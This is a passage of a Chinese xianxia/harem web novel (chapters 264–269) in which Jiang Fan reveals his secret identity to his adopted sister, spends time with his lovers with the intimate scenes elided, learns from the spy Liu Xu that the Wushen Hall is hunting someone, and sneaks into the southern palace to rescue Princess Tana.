周婉如如同受惊的小兔,慌忙从江凡怀中退出,一张脸红得几乎要滴血,低着头不敢看江芷兰:
“芷兰姐姐…我、我…”
江凡也有些不好意思,摸了摸鼻子,笑道:
“姐,你就别取笑婉如了。”
第264章 养你一辈子
江芷兰看着江凡,脸上露出促狭的笑容,
“你俩腻歪完了,该说说你了吧?臭小子,瞒得姐姐好苦!逍遥公子?嗯?
力挽狂澜,掌毙神仙的逍遥公子,竟然是我那个整天游手好闲、气得爹跳脚的弟弟?”
她双手叉腰,佯装生气,凤眸却亮晶晶的,里面充满了骄傲、好奇,还有一丝复杂情绪,语气半是调侃半是感慨:
“亏得姐姐我以前还那么佩服话本里写的逍遥公子,觉得他神秘强大,心怀天下,是个顶天立地的大英雄、奇男子。
去庙里上香,都忍不住替他多求一份平安…没想到,竟然是你这个小混蛋!”
说到最后,语气里带上了一丝失落。
那个存在于幻想和话本中、寄托了她一丝朦胧憧憬的完美形象,骤然与眼前这个她从小照顾的弟弟重合,那种幻灭,让她心绪难平。
周婉如也掩嘴轻笑,在一旁补刀:
“世子,你可不知道,芷兰姐姐的房间里,有一个紫檀木的匣子,里面可宝贝了,全是她亲手从《深宫秘恋》和其他流传的话本里,抄录下来的逍遥公子所作的诗词、策论。
还有那些治国安民的奇思妙想。墨宝都有厚厚一沓呢。姐姐的字,可是簪花小楷,写得极好。”
江芷兰被周婉如揭了老底,俏脸‘腾’地红了,难得露出小女儿般的羞恼,伸手去捂周婉如的嘴:
“好你个婉如,竟敢出卖姐姐!看我不挠你痒痒!”
两女笑闹作一团,冲淡了略显凝重的气氛。
江凡看着姐姐难得显露的活泼与羞赧,心中那根弦却绷得更紧。
姐姐对‘逍遥公子’的仰慕竟如此之深…这让他心情愈发复杂。
只是姐姐的心意,他实在不知道该如何启齿。
他只能装出一副认错的样子说道:
“姐,我错了还不行吗?以前是形势所迫,不得已隐瞒。这样,为了赔罪,弟弟我现场给你和婉如各画一幅小像,再题诗一首,如何?”
江芷兰果然被吸引,停下打闹,眼睛一亮:
“当真?现在就要!姐姐倒要看看,名震天下的逍遥公子,书画是否也如传言中那般神乎其技!”
她早就对话本中提及的诗词字画心向往之,周婉如也露出期待的神色。
江凡自然无有不应,立刻吩咐侍立远处的宫女取来上好的笔墨纸砚。
东西很快备齐,江凡凝神静气,略一思索,便提笔蘸墨。
他将心中对二女的印象与情感倾注于笔端,为周婉如画的是一幅《秋庭抚琴图》。
图中女子侧坐秋棠下,低眉信手续弹,神情温柔专注,身后几竿修竹,亭亭玉立。
画风清丽婉约,用笔细腻流畅,将周婉如那份外柔内刚、娴静如水的特质表现得淋漓尽致。题诗曰:
“冰弦诉幽愫,素手弄秋声。庭竹知君意,风来叶叶清。”
为江芷兰画的则是一幅《兰蕙清姿图》。
画中女子立于嶙峋怪石之畔,身旁几丛兰草蕙芷悠然绽放,她微微仰首,似在凝望天际流云,衣袂随风轻扬,侧脸线条优美,眼神清澈中带着一丝悠远与坚韧。
画风较之前者稍显疏朗俊逸,重在写意传神。
题诗曰:“幽谷生兰蕙,清姿绝俗尘。不同桃李艳,自有暗香淳。风霜岂能改,素心向晓昏。”
两幅画作,无论是构图、用笔、设色,还是题诗书法,皆已臻化境,非数十载苦功与绝佳天赋不能为。
画中人物神韵兼备,跃然纸上,诗词亦清新脱俗,贴合人物,堪称双绝。
“不愧是逍遥公子,这书法和画工...”
江芷兰捧着属于自己的那幅《兰蕙清姿图》,眼中充满了震撼与欣喜。
原来,弟弟竟然还有如此惊才绝艳的一面!
那个惫懒的弟弟形象,在此刻被彻底颠覆、重塑。
周婉如也痴痴地看着画中的自己,泪水又在眼眶中打转,这次是纯粹的感动与幸福。
“世子…画得真好,诗也好…婉如…婉如很喜欢,非常喜欢…”
她将画紧紧抱在胸前,仿佛拥有了全世界。
这可是世子送自己的第一份礼物,而且是‘逍遥公子’的真迹,一定要好好珍藏。
江凡看向江芷兰,半开玩笑的问道:
“姐,你有没有心仪的男子,到时候让爹给你做主...”
江芷兰脸色一沉,伸出手捏住他的耳朵问道:
“臭小子,嫌姐姐管着你了是不是?这么急着把姐姐嫁出去?”
“没有没有,”江凡纵有陆地神仙修为也不敢反抗:
“我这不是关心姐姐吗?临走的时候,爹跟我说
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了很多。姐姐不想嫁人的话,我们国公府也能养你一辈子...”
“一辈子...吗?”
江芷兰一愣,随后松开手看着江凡的眼睛问道:
“爹是不是告诉你,我不是他的亲生女儿?”
“这个...姐你什么时候知道的?”
江凡顿时有些结巴,不知道怎么说,原来姐姐真的知道。
周婉如却瞪大了美眸,一脸不敢置信的看着江芷兰。
看到江凡的表情,江芷兰神色有些黯然:
“我早就知道了,小时候以死相逼,是外祖母告诉我的身世。”
听到这话,江凡连忙安抚道:
“姐姐你不用难过,你就是国公府的大小姐,谁敢欺负你,我就杀了他!”
江凡生怕江芷兰伤心,这比姐姐发飙还吓人。
江芷兰突然笑道:
“放心吧,姐姐才不难过。以前我的确因为不是国公府真正的大小姐有些失落,但现在...反而觉得是好事。”
“什么意思?”
江凡正想询问,江芷兰已经转身,一个轻飘飘的声音传来:
“你好好陪周妹妹,我跟月寒要修炼提升实力。”
看着姐姐离开的背影,江凡来不及思索姐姐到底有没有伤心,只能对周婉如和冷月寒说道:
“婉如,月寒,你们要勤加修炼,丹药管够。我不在时,你们和姐姐要互相照应,尽量待在宫中,若要出门,务必让月寒跟随,不可落单。”
“世子又要出门?”
周婉如立刻听出了弦外之音,不舍地问道。
“嗯,南疆有些事需要处理。”
江凡没有隐瞒塔娜之事,但也没细说,
“好不容易回来一趟,今日便不走了,休息一晚,明早出发。”
周婉如闻言,眼中闪过一丝黯然,但很快掩饰过去,柔顺点头:
“世子正事要紧,婉如明白。婉如会和芷兰姐姐一起,等你回来。”
冷月寒也抱拳道:“帝君放心,属下必以性命护卫大小姐和周姑娘周全。”
事情交代得差不多,江凡正想再说些什么,周婉如却忽然红着脸,低声开口道:
“世子…婉如有几句体己话,想单独与你说…”
冷月寒眼中闪过一丝了然与笑意,连忙告辞离开,看方向是找江芷兰去了。
第265章 留在我身边
水榭内只剩下江凡和周婉如,气氛忽然变得有些微妙。
周婉如走到江凡面前,抬起头,一双秋水明眸定定地望着他,脸颊绯红,似下了很大决心:
“世子…你与陛下…你们是不是已经…已经…”
她问不出口,但眼神已说明一切。
江凡看着她羞涩又带着一丝不安的模样,心中了然,坦然点头:
“是。我与璇月,已然有了夫妻之实。”
周婉如眼中闪过一丝了然,并无嫉妒,反而有种释然。
随即,那丝自卑又隐隐浮现。
她咬了咬下唇,忽然伸手,主动环住了江凡的脖颈,踮起脚尖,在他耳边吐气如兰,带着决绝的勇气与卑微的祈求:
“那…那世子今晚定然是要陪陛下的…婉如不敢争…只是…只是世子明日又要远行…婉如…婉如舍不得…能不能…就现在…陪陪婉如?一会儿就好…”
说到最后,声音已细若游丝,身体也因为羞怯和紧张而微微颤抖。
她知道自己此举有些大胆,甚至不合礼数。
但她怕,怕这次分别又是许久,怕自己在他心中分量太轻,怕这好不容易握住的幸福只是镜花水月。
她只想在他离开前,真真切切地拥有他片刻,留下一些真实的、属于她和他的回忆,来抵御未来可能的漫长等待与孤寂。
江凡看着她眼中那混合着爱恋、卑微、祈求的复杂光芒,心中最柔软的地方被狠狠触动。
他知道她的不安,她的自卑,她全部的心思。
他如何能拒绝?又怎忍心拒绝?
他没有回答,只是用行动表明了一切。
他低下头,深深地吻住了她的红唇。
这个吻带着安抚,带着怜惜,也带着逐渐升腾的情欲。
周婉如嘤咛一声,生涩却热烈地回应着,双臂将他搂得更紧。
一吻良久,直到两人都有些气息不稳。
江凡将她打横抱起,周婉如轻呼一声,将脸深深埋进他怀里,羞得不敢见人。
江凡抱着她,离开水榭,走向不远处一座僻静偏殿。
殿门轻轻合上,隔绝了外面的一切。
阳光透过窗棂,在地板上投下斑驳的光影。
锦帐悄然滑落,掩去一室渐起的旖旎。
衣衫落地,呼吸交织。
周婉如将自己完全交付,生涩而热情,将所有的爱恋、不安与期盼,都化作了最直接的行动。
江凡亦极尽温柔,引领着她,安抚着她,用最亲密的方式,驱散她心底的阴霾,给予她渴求的安心与承诺。
低吟浅唱,被翻红浪。
(此处省略三千字)
不知过了多久,偏殿内的动静才渐渐平息。
周婉如蜷缩在江凡怀中,脸上红潮未褪。
她满足地轻叹一声,将脸更紧地埋入他颈窝,仿佛要将他的气息刻入骨髓。
江凡怜爱地抚了抚她汗湿的鬓发,心念微动,从系统商城中兑换出一颗【玉露回春丹】。
此丹是滋养元气、恢复精力、兼有微弱固本培元之效的温和丹药,正适合此刻的周婉如。
丹药品阶不高,仅需五万人气值,对如今财大气粗的江凡而言不值一提。
“婉如,把这个吃了。”
江凡将龙眼大小的丹药递到她唇边。
周婉如对江凡毫无保留的信任,甚至没有多问一句,便乖巧地张口含入。
丹药入口即化,一股暖流瞬间流遍四肢百骸,驱散了欢爱后的疲乏酸软。
更让她惊喜的是,体内那丝自修炼江凡所授基础**后产生的微弱真气,竟也在这股药力的滋养下壮大凝实了不少,隐隐有突破到后天七品的迹象!
虽然这点修为在江凡眼中微不足道,但对一直体弱、近乎没有武道基础的周婉如而言,已是天大的惊喜。
“世子,这丹药…”
她抬起眸子,眼中满是惊讶与感激。
“感觉好些了?”江凡温柔地拭去她额角细汗,
“只是些温养的药物,对你有益。以后修炼累了,或者觉得精神不济,可以再服用。我这儿还有。”
他没有说这丹药的价值,不想给她压力。
周婉如心中暖意融融,用力点头:
“嗯!婉如感觉好多了,身上有劲,精神也好了许多。谢谢世子。”
她撑着坐起身,尽管身体还有些绵软,但在丹药作用下已行动无碍。
她捡起散落在地的衣物,红着脸背对江凡,开始一件件穿戴。
江凡也起身,迅速整理好自己。
待周婉如穿戴整齐,转过身来时,除了越发娇艳的容颜,已与平日别无二致。
只是看向江凡的目光,更多了浓得化不开
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的依恋与柔情。
“世子,你快去陪陛下吧。”
周婉如柔声道,主动上前为他理了理微皱的衣襟,语气真诚,
“陛下日理万机,心里定也记挂着你。婉如…已经很知足了。”
她知道自己的位置,能得他如此相待,拥有方才那般亲密无间的时刻,她已无憾。
她不贪心,更不愿让他为难。
江凡看着她懂事得让人心疼的模样,心中又是一软,低头在她额上印下一吻,郑重道:
“好好休息,等我从南疆回来。”
“嗯,婉如等你。”
周婉如甜甜一笑,目送他走出偏殿。
殿外,江凡深吸一口微凉的空气,正准备前往御书房或萧璇月常去的宫殿寻找,目光却是一凝。
只见不远处的朱红回廊下,江芷兰正静静地站在那里,手中捧着一个花布包裹。
她似乎已等候多时,见到江凡出来,脸上闪过一丝复杂的神色。
“姐?你怎么在这儿?”
江凡快步走过去,心中有些讶异,也有些尴尬,毕竟方才他与周婉如…姐姐恐怕是知道的。
江芷兰瞥了一眼他身后紧闭的偏殿门,又迅速移开目光,脸上飞起两朵红云,将手中的包裹塞进他怀里,语气故作轻松:
“喏,给你的。知道你这趟出去又是刀光剑影的,姐姐帮不上什么大忙,这几日闲着,给你缝了件里衣,用的是江南今年新进的软烟罗,贴身穿舒服些。
还有些我平日里配的解毒散、驱虫香、清凉油,南疆那边湿热,毒虫多,你带着以防万一。”
包裹入手,沉甸甸的,带着属于她的清雅香气。
江凡低头看着包裹,心中最柔软的地方被狠狠触动。
这就是他的姐姐,总是用最质朴的方式,默默地关心着他,惦记着他的安危冷暖。
那些解毒驱虫的药,想必是她这几日特意翻阅医书、甚至可能请教太医配制的。
虽然以他现在的修为根本不需要,但一股暖流与冲动还是涌上心头。
江凡忽然上前一步,靠近江芷兰,声音低沉而认真:
“姐,谢谢你。这衣服,这药,我会好好用。”
他顿了顿,仿佛下定了某种决心,语气变得更加郑重:
“姐,以后…就留在我身边吧。一直留在我身边。”
第266章 夫人你教的
江芷兰被他这没头没脑、却又蕴含深意的话弄得一愣,随即脸上红晕更甚,有些慌乱地移开视线,声音慌乱:
“臭小子,胡说什么呢?姐姐当然会一直在你身边,看着你,管着你,免得你到处惹是生非。难不成你还想赶姐姐走,让姐姐一个人孤零零地去当老尼姑啊?”
“当然不是!”
江凡立刻否认,目光灼灼地看着她,声音压得更低,
“我的意思是…你不是我的亲姐姐。父亲说,他原本…是希望我们能在一起,亲上加亲,让他能名正言顺地照顾你一辈子,也对得起林伯伯的托付。
只是以前的我太混账,太不成器,爹怕耽误了你,更怕对不起九泉之下的林伯伯,才一直不敢提,只能将你当亲生女儿一样疼着宠着…”
他伸出手,轻轻握住了江芷兰因为紧张而微微蜷起的手,那手微凉且有些颤抖。
“可是现在,不一样了。姐,我知道我可能还不够好,身边也有了璇月和婉如,但我保证:
我会用我的一切对你好,保护你,尊重你,绝不会让你受半点委屈。父亲的心愿,林伯伯的托付,还有我…”
他凝视着她躲闪的眼眸,缓缓道,
“我不想只把你当姐姐。你…愿意给我一个机会吗?让我以后,不只是以弟弟的身份,守护在你身边?”
这番直白而恳切的话语,让江芷兰脑子‘嗡’的一声!
父亲竟然…竟然曾有过这样的念头?
而凡儿他…他竟然知道了自己的身世,还…还说出了这样的话!
她只觉得脸颊滚烫,心跳如擂鼓,脑海中一片混乱。
那个从小需要她照顾呵护的弟弟,那个一夜之间变得神秘强大的‘逍遥公子’,此刻正用如此认真的眼神看着她,说着如此…惊世骇俗的话!
“你、你胡说八道什么!”
江芷兰猛地抽回手,脸红得几乎要滴血,眼神慌乱地四处飘移,就是不敢看江凡,
“我…我是你姐姐!永远都是!什么在一起不在一起的…臭小子,你再胡说,看姐姐不收拾你!”
她试图用惯常的姐姐威严来掩饰内心的惊慌,可颤抖的声音和绯红的脸颊出卖了她。
江凡却从她慌乱羞怯的反应中,看到了一丝并非全然抗拒的迹象。
他知道不能逼得太紧,姐姐需要时间消化。
他收回手,脸上露出温和而包容的笑容:
“好,我不胡说。姐姐想收拾我,我随时恭候。能被姐姐欺负一辈子,也是一种福气。”
“你…!”
江芷兰被他这带着宠溺和暗示的话语弄得心慌意乱,又羞又恼,跺了跺脚,
“不理你了!你…你赶紧去找你的女帝陛下吧!南疆的事重要,别在这儿油嘴滑舌!”
说完,她再也待不下去,转身提着裙摆小跑着离开了回廊。
江凡看着姐姐近乎‘逃离’的背影,嘴角勾起一抹温柔的弧度。
他没有追,只是将手中那饱含心意的包裹,趁无人注意,悄然收入了系统空间。
这不仅仅是件衣服和几包药,更是姐姐沉甸甸的牵挂。
不远处的阴影里,一身黑色劲装的冷月寒悄然显现。
她一直暗中护卫在江芷兰附近,方才的对话,她听去了大半。
看着江芷兰仓皇离去的背影,又看了看伫立原地、目光温柔的江凡。
冷月寒清冷的面容上没什么表情,唯有那双总是平静无波的眼眸深处,极快地掠过一丝苦涩与黯然。
逍遥公子…帝君…
他身边已有倾国倾城的女帝,温柔似水的周姑娘,如今,连大小姐似乎也…
他就像夜空中最耀眼的星辰,吸引着所有人的目光。
而自己,不过是他姐姐身边一个沉默的护卫,一个因他恩赐才得以提升修为、保全性命的影子罢了。
那些隐秘的心思,在这越发清晰的现实面前,显得如此可笑而不自量力。
她默默地垂下眼睑,将所有情绪收敛,身影再次融入阴影,悄无声息地跟上了前方心绪不宁的江芷兰。
江凡并未察觉到冷月寒那一瞬间的情绪波动。
他收回目光,强大的神识悄然铺开,瞬息间便笼罩了小半个皇宫,很快便捕捉到了熟悉的气息——在凤仪宫,萧璇月的寝宫。
他不再耽搁,身形微动,片刻之后,已悄然出现在凤仪宫外。
宫女太监见他到来,纷纷无声行礼,
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悄然退避。
江凡推开寝殿的殿门。
萧璇月正斜倚在临窗的贵妃榻上,手中拿着一卷奏折,却似乎有些心不在焉。
目光落在窗外的夜色中,侧脸在昏黄光影下显得格外柔美,也带着一丝淡淡的倦意。
听到开门声,她转过头,见是江凡,眼中先是一亮,随即那抹亮光迅速被一层刻意装出的清冷与酸意所覆盖。
她放下奏折,坐直身子,微微扬起下巴,用那双勾魂摄魄的凤眸斜睨着他,语气带着七分调侃三分幽怨:
“哟,我们的大忙人逍遥公子终于舍得从温柔乡里出来了?温香软玉在怀,温柔缠绵的,还能记得朕这深宫冷殿,朕是不是该感激涕零啊?”
空气中,仿佛弥漫着属于陈年佳酿的醋味。
江凡摸了摸鼻子,知道这位女帝陛下是有些吃味了。
他反手关好殿门,这才走到榻边,很自然地挨着她坐下,手臂一伸,便将那带着馨香与淡淡酸意的娇躯揽入怀中。
“月儿这是吃醋了?”
他在她耳边低笑,热气拂过她敏感的耳廓,
“为夫这不是来了吗?雨露均沾,可是夫人你教的。既然接纳了婉如,总不能冷落了她,让她心中不安。
为夫这也是谨遵夫人教诲,努力做个负责任的好男人啊。”
“油嘴滑舌!”
萧璇月被他揽着,象征性地挣扎了一下便放弃了,闻言更是没好气地白了他一眼,伸出纤纤玉指戳了戳他结实的胸膛,
“朕看你是乐在其中吧?周妹妹温柔可人,我见犹怜,想必逍遥公子很是受用?”
“受用是受用,”江凡捉住她作乱的手指,放在唇边轻吻一下,目光灼灼地看着她,眼中情意流转,
“但最让为夫牵挂、心疼、恨不能揉进骨血里的,永远是我的月儿。看到你独自操劳国事,为我担忧,眉宇间都是倦色,为夫心里更疼。”
这番甜言蜜语,顿时打动了萧璇月的心。
她眼中那层伪装的清冷与酸意瞬间冰消瓦解,化为了盈盈水光与柔情。
她放松身体,靠进他怀里,听着他沉稳的心跳,低声嘟囔:
“就会说好听的哄朕…朕才不信。”
第267章 跟自己有关
“那为夫用行动表示?”
江凡低头,寻到她的唇,温柔地覆了上去。
这个吻缠绵而深情,带着安抚,带着思念,也带着逐渐升温的渴望。
一吻方歇,两人都有些气息不稳。
萧璇月脸颊绯红,眼波如水,靠在他肩头微微喘息。
忽然,她像是想起了什么,抬起眸子斜睨着江凡,语气带着一丝挑衅,玉手却不安分抚上他胸膛:
“光会说有什么用?明日又要离开,这一去又不知多久…朕倒要问问,逍遥公子今日接连征战,粮草…可还充足?可别是银样蜡枪头,中看不中用。”
这话语里的暗示与挑逗意味再明显不过。
江凡眸光一暗,搂着她纤腰的手臂猛然收紧,低头逼近她,鼻尖几乎相触,声音沙哑而危险:
“夫人这是在质疑为夫的能力?为夫别的没有,就是粮草充足,管够!定让夫人…满意为止。”
最后一个字淹没在再次交缠的唇齿间。
江凡手臂用力,将萧璇月打横抱起,大步走向那垂着明黄鲛绡帐的龙床。
衣衫委地,罗帐轻摇。
寝殿内温度骤升,喘息与低吟交织成最动人的乐章。
此刻的江凡多了几分强势与占有,仿佛要通过最亲密的方式,确认彼此的存在,也将连日来的思念与牵挂尽数倾泻。
萧璇月也放下了女帝的矜持与端庄,热情地回应着,承受着他给予的一切,也给予他最热烈的反馈。
这一刻,没有君臣,没有帝后,只有一对倾心相恋、即将面临别离的男女,用最原始的方式,倾诉着无尽的爱恋与不舍。
(接下来大家不爱看,省略三千字)
不知过了多久,风停雨歇。
寝殿内重归静谧,只余两人满足而疲惫的相拥,与交织在一起的平稳呼吸。
萧璇月累极,却强撑着不睡,玉指在江凡胸口无意识地画着圈,声音带着事后的慵懒沙哑:
“南疆…一定小心。塔娜之事,妥善处理。朕…朕在京城等你。朝中有内阁,有几位老臣,你不必挂心。倒是你…”
她抬起头,黑暗中眸光晶亮,
“务必全须全尾地回来,少一根头发,朕唯你是问。”
“遵命,夫人。”
江凡收紧手臂,在她发顶落下一吻,心中一片宁静与坚定。
有她在后方,他便无所畏惧。
“月儿,你自己也要保重,修炼不要懈怠,丹药按时服用。武神殿虽暂时偃旗息鼓,但绝不会善罢甘休,京城防御不可松懈。”
“朕晓得。”
萧璇月往他怀里又缩了缩,终于抵挡不住浓重的睡意,沉沉睡去。
江凡却了无睡意。
他轻轻拥着怀中熟睡的爱人,心神沉入空间,开始用心神更新话本。
达到陆地神仙之后,用心神写书也能承受。
这是他提升实力的重要来源,所以不能断。
更新完今日章节,他选择提交,足足五万份。
虽然数量减少了很多,但有萧璇月的旨意,话本会被各个地方官员抄录推广。
他这才抱着萧璇月,闭上眼睛养神。
天光破晓,萧璇月已然起身,正由宫女服侍着梳洗更衣,准备上朝。
江凡也已穿戴整齐,望着宫女太监们井然有序地忙碌,最后看向铜镜中萧璇月端庄肃穆的侧影。
“夫人,我走了。”
他轻声道,声音不大,却清晰地传入她耳中。
萧璇月对镜整理冠冕的动作顿了一下,她没有回头,只留下一句简短的叮嘱:
“万事小心,早些回来。”
“嗯。”
江凡点头,不再多言,身形一晃消失在寝殿内。
他知道,再多的话语,也比不上平安归来。
离开皇宫,并未直接南行。
江凡心念一动,调出系统界面,目光扫过那金光璀璨的数字:
【当前人气值:58,720,000】
五千八百七十二万!
一夜之间,又涨了一千多万!
这让他心中稍定,有如此雄厚的人气值作为后盾,应对任何突发状况都更有底气。
他没有急着前往南疆,身形几个起落,他已出现在百花楼附近。
神识微扫,确认柳絮正在顶层的
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雅阁内,且气息平稳,并无外人。
他如同鬼魅般掠上高楼,轻轻叩响了窗棂。
窗户无声开启。
柳絮今日穿了一身素雅的藕荷色长裙,未施浓妆。
她看到窗外的江凡,眼中闪过一丝复杂情绪,但很快被她掩去,侧身让开:
“进来说。”江凡闪身而入,窗户悄然关闭。
雅阁内,熟悉的馨香中,似乎夹杂了一丝不属于柳絮的阴冷气息,但转瞬即逝。
“江世子…不,帝君陛下,北境之行,辛苦了。”
柳絮为他斟茶,声音依旧柔美,却带着一丝疏离与僵硬。
“柳姑娘不必多礼,还是如往常一样叫我公子即可。”
江凡没有碰茶杯,开门见山,
“我今日前来,是想问问,武神殿那边,近日可有什么新的动静?尤其关于他们在大夏境内的活动。”
柳絮握着茶壶的手抖了一下,茶水溅出几滴在桌面上。
她放下茶壶,沉默了片刻,才抬起头,目光有些飘忽地望向窗外,声音低了下去:
“武神殿…最近确实有些异常。据我得到的一些零星消息,他们似乎在…全力寻找一个人。一个对他们而言,极为重要的人。”
“找人?”江凡心中一凛,追问道,
“什么人?为何寻找?可有什么特征?是否在大夏境内?”
柳絮摇了摇头,脸上露出一丝苦笑:
“具体是什么人,因何寻找,特征如何,我无从得知。这显然是武神殿最高级别的机密。我只隐约听说,他们动用了‘巡天阁’和最深的一些暗桩,甚至可能动用了某种上古遗留下来的探测奇物,感应范围极广。至于是否在大夏…”
她顿了顿,看向江凡,目光复杂,
“根据一些蛛丝马迹推断,他们锁定的方向…似乎就在大夏,而且,很可能就在…京城,或京城附近。”
就在大夏京城!
江凡瞳孔微缩。
难道跟自己有关?
他强迫自己冷静,继续问:
“除此之外呢?武神殿对北境之事,对南疆,可有什么后续安排?”
第268章 柳姑娘保重
“北境之事,武神殿高层震怒,但似乎被另一件更重要的事情压下了,暂时未有大规模报复的迹象。但南疆…”
柳絮迟疑了一下,还是说道,
“南疆那边,武神殿似乎对塔娜公主破坏他们计划之事极为不满,已向南蛮国王施压。南蛮国王为平息武神殿怒火,并换取支持,恐怕会对塔娜公主不利,甚至…
可能会牺牲她,以向武神殿表忠心。此事,四季堂也收到了协助监控南疆王室动向的指令。”
果然!
塔娜的处境比自己想象的还要危险!
不仅有南蛮国王和大祭司的逼迫,更有武神殿的推波助澜!
江凡心中怒意升腾,杀机隐现。
“柳姑娘,多谢你告知这些。”
江凡沉声道,目光锐利地看向她,
“我知道你身处四季堂,有许多不得已。但此事关乎塔娜性命,也关乎南疆局势。我需立刻赶赴南疆。
京城这边,尤其是陛下和我家人的安危,还望柳姑娘能多加留意,若发现武神殿有任何异动,或有关于他们寻找之人的新线索,请务必设法通知陛下。江某感激不尽。”
柳絮迎着他的目光,那目光清澈、坦荡,带着全然的信任与托付。
她心中那点犹豫与挣扎仿佛被这目光灼烧,嘴唇微微动了动,似乎想说什么,最终却只是轻轻点了点头,声音有些干涩:
“我会尽力。你…此去南疆,凶险万分。大祭司巫蠱之术诡异莫测,武神殿也可能暗中插手。务必…万事小心。”
最后四个字,她说得很轻,却带着一丝关切。
“我会的。”江凡起身,对她抱拳一礼,“柳姑娘,保重。”
说完,他不再停留,身形化作一道流光,朝着南方天际疾射而去。
雅阁内,重归寂静。
柳絮独自站在窗边,望着江凡消失的方向,久久未动。
直到一阵微风拂过,带来深秋的寒意,她才恍然回神。
她走到梳妆台前,打开一个暗格,从里面取出一份用火漆密封、印有奇异符文印记的密报。
这是今晨刚刚通过秘密渠道送到她手中的,来自四季堂最高层的直接指令。
她修长的手指抚过那火漆印记,眼中充满了挣扎与痛苦。
指令的内容很简单:严密监控大夏皇宫,尤其是女帝萧璇月及其身边亲近女眷,收集一切异常信息。
特别是与‘阴寒’、‘体质特异’、‘生辰八字极阴’等相关的线索,若有发现,不惜一切代价确认,并即刻上报,不得有误!
这显然是武神殿寻找‘那个人’的具体指令!
江凡方才询问时,她隐瞒了这条最关键、也最危险的指令。
她不知道武神殿找的究竟是谁,为何要找,但直觉告诉她,这绝不是什么好事。
一旦她按照指令行事,很可能会将江凡最在意的人——女帝萧璇月,甚至可能是他姐姐江芷兰,置于无法预知的险境!
一边是组织的严令和可能随之而来的可怕惩罚,一边是江凡毫无保留的信任与她心中那点无法言说的情愫与良知。
柳絮闭上眼,脑海中闪过江凡清澈坦荡的眼神,闪过他谈及家人时的温柔与守护,闪过他为了一个并不喜欢的塔娜公主,不惜孤身犯险远赴南疆的背影…
良久,她猛地睁开眼,眼中闪过一丝决绝。
她拿起那份密报,走到角落的铜制暖炉边,炉中炭火正红。
她指尖微颤,却无比坚定地将那封密报投入了熊熊炭火之中。
“嗤啦——”
火苗迅速吞没了纸张,将那指令与奇异的符文印记化为灰烬,也烧断了她与四季堂之间最后的、脆弱的忠诚纽带。
“江凡…”
她望着跳动的火焰,低声呢喃,嘴角泛起一丝苦涩却释然的弧度,
“你对我坦诚信任,我柳絮…终究做不到对你背后捅刀。哪怕…你心中从未有过我的位置。”
“这份情,这份义,便当我…还了你当日那句‘记下’。”
她转身,望向南方,目光变得坚定而清澈。
从今日起,她将真正站在江凡这一边,哪怕前路是万丈深渊,哪怕要与掌控大陆的庞然大物为敌。
“愿你…一切顺利,平安归来。”
……
江凡将速度提升到极致,下方的山川、河流、城镇飞速后退。
他心中焦急,塔娜的处境容不得半分耽搁。
他必须在南蛮国王将塔娜送往大祭司那里之前,将她救出!
大
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半日的疯狂赶路,饶是以他如今的修为,也感到真元消耗不小。
临近傍晚时分,南疆那特有的空气扑面而来。
远处,南蛮国都‘澜沧城’的轮廓已隐约可见。
他拿出百变披风飞快地易容改装,片刻之后,已经变成一个皮肤黝黑、面容普通的南疆青年。
周身气息也收敛到仅相当于先天初期境界,毫不起眼。
他混入进城的人流,缴纳了入城税,顺利地进入了澜沧城。
城中颇为繁华,街道两旁商铺林立,售卖着各种奇异的香料、药材、兽皮、手工艺品,空气中弥漫着复杂的味道。
行人也多是肤色较深、衣着鲜艳的南疆本地人,间或有些中原客商。
江凡在茶寮、酒肆、街边小摊流连,看似随意地与当地人攀谈,打听消息。
“听说了吗?塔娜公主要出嫁了!”
“可不是嘛,嫁给大祭司!啧啧,那可是活了两百岁的老神仙…”
“什么老神仙,我听我阿婆说,以前被送进巫神山的女子,没有一个能活着出来的…”
“嘘!小声点!你不要命了!国王陛下也是为了咱们南蛮着想,听说得罪了中原来的大人物,得靠大祭司和更厉害的存在撑腰呢!”
“唉,塔娜公主多好的人啊,以前还常施粥赠药…可惜了…”
“听说公主不愿意,还被关起来了,明天一早就送走…”
零星的议论传入江凡耳中,验证了柳絮的情报,也让他心中的怒火与焦急更甚。
大祭司修炼邪功需炉鼎,祸害女子,塔娜此去几乎十死无生!
而南蛮国王,为了巴结武神殿,竟然真的要将亲生女儿推向火坑!
他强压怒火,继续探听,大致摸清了皇宫的布局、塔娜被软禁的大致位置,以及明日送亲的路线和时间。
同时,他也听到一些风声,说因为塔娜公主之前‘做错了事’,惹怒了‘大人物’,国王为了平息对方怒火,已承诺会继续加大对大夏边境的袭扰力度。
夜幕,终于完全降临。
澜沧城华灯初上,夜市喧嚣。
江凡凭借着高超的身法和神识探查,轻易避开了外围的巡逻队,悄无声息地翻过高大的宫墙,潜入王宫内部。
第269章 我自己动手
南蛮王宫守卫虽严,但对付寻常高手尚可,在江凡这等绝世强者面前,形同虚设。
他很快就在皇宫西北角,一片茂密凤尾竹林处停下,一栋独立的三层竹楼进入他的感知范围。
竹楼周围明哨暗桩多达数十处,更有几道不弱的气息潜伏在暗处,显然是防备塔娜逃跑或有人劫持。
竹楼顶层,仅有一道气息,微弱、萎靡,却带着一丝熟悉——正是塔娜!
江凡心中一紧,正欲设法潜入,却感知到另一行人正朝着竹楼而来。
为首一人,气息沉凝,带着久居上位的威严,正是南蛮国王!
他身后跟着几名手捧托盘、盛放着大红喜服的侍女。
江凡立刻收敛所有气息,悄无声息地贴在竹楼侧面一处视觉死角,神识则高度集中,锁定顶层房间。
房门被推开,国王带着侍女走了进去。
“塔娜,试试这婚服,看合不合身。明日一早,大祭司便会派人来接你。”
国王蒙丹的声音响起,带着不容置疑的命令,也有一丝复杂。
房间内,烛火摇曳。
塔娜坐在窗边的竹椅上,背对着门,闻言身体颤抖了一下,却没有回头,声音沙哑而平静,透着绝望:
“合身?父王,儿臣是去送死的,合不合身,又有什么分别?”
“你!”蒙丹似乎被她的态度激怒,提高了声音,
“混账!若不是你擅作主张,得罪了武神殿的大人,事情何至于此?!为父这也是不得已!
为了南蛮的国运,为了王室的存续,你身为公主,享受了二十年的荣华富贵,就该有为国牺牲的觉悟!”
塔娜缓缓转过身。
借着烛光,江凡的神识也探查到她的模样。
不过月余未见,那个明媚张扬、热情似火的南疆公主,竟已消瘦得脱了形。
原本健康的肤色变得苍白,眼窝深陷,嘴唇干裂,唯有一双眸子,依旧明亮,却盛满了痛苦与决绝。
“觉悟?”塔娜扯了扯嘴角,露出一抹比哭还难看的笑,目光直视着她的父亲,
“儿臣的觉悟,就是不该生在帝王家,不该是您的女儿。更不该…遇见他。”
蒙丹眉头紧锁,不耐烦地挥手:
